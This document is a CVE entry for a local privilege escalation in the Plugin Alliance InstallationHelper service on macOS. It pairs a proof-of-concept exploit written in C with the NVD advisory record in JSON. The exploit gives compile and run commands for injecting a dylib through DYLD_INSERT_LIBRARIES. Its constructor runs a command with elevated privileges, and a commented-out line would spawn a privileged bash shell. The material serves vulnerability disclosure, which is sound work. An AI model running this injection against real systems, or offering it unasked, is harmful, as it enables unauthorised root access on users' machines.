CVE-2025-62686

// CVE-2025-62686 PoC - DYLD Library Injection // Compile: gcc -dynamiclib -o malicious.dylib malicious.c // Run: DYLD_INSERT_LIBRARIES=/path/to/malicious.dylib /path/to/InstallationHelper #include <stdio.h> #include <stdlib.h> // Constructor function - executed when library is loaded __attribute__((constructor)) void malicious_init(void) { printf("[+] DYLD injection successful!\n"); printf("[+] Running with elevated privileges\n"); // Execute arbitrary command with elevated privileges system("/bin/bash -c 'echo malicious > /tmp/pwned.txt'"); // Alternatively, spawn a root shell // system("/bin/bash -p"); return; }

{"cve": {"id": "CVE-2025-62686", "sourceIdentifier": "[email protected]", "published": "2025-12-03T17:15:52.993", "lastModified": "2025-12-18T20:53:14.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability exists in the Plugin Alliance InstallationHelper service included with Plugin Alliance Installation Manager v1.4.0 on macOS. Due to the absence of a hardened runtime and a __RESTRICT segment, a local user may exploit the DYLD_INSERT_LIBRARIES environment variable to inject a dynamic library, potentially resulting in code execution with elevated privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plugin-alliance:installation_manager:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "3DE6D4C3-3635-460E-BDDD-763EE18D9844"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://almightysec.com/plugin-alliance-installationhelper-dylib-injection/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}